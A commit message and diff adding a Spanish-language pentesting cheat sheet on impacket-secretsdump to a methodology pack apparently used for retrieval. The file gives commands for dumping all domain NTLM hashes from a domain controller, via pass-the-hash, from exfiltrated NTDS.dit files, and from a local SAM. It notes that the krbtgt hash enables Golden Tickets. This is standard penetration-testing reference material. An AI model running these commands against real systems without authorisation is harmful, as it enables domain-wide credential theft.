saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/secretsdump.md

@@ -0,0 +1,26 @@
+# secretsdump (NTDS.dit / SAM)
+
+> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.
+
+## Remoto contra un DC
+```bash
+impacket-secretsdump dominio/usuario:password@DC_IP
+impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash
+```
+Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.
+
+## Offline (ficheros exfiltrados)
+```bash
+# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
+impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
+```
+
+## SAM local de una máquina
+```bash
+impacket-secretsdump -sam SAM -system SYSTEM LOCAL
+```
+
+## Cómo se obtienen permisos
+- Ser admin del DC, o derechos de replicación → DCSync.
+
+Relacionado: Mimikatz · Active Directory · OSCP MOC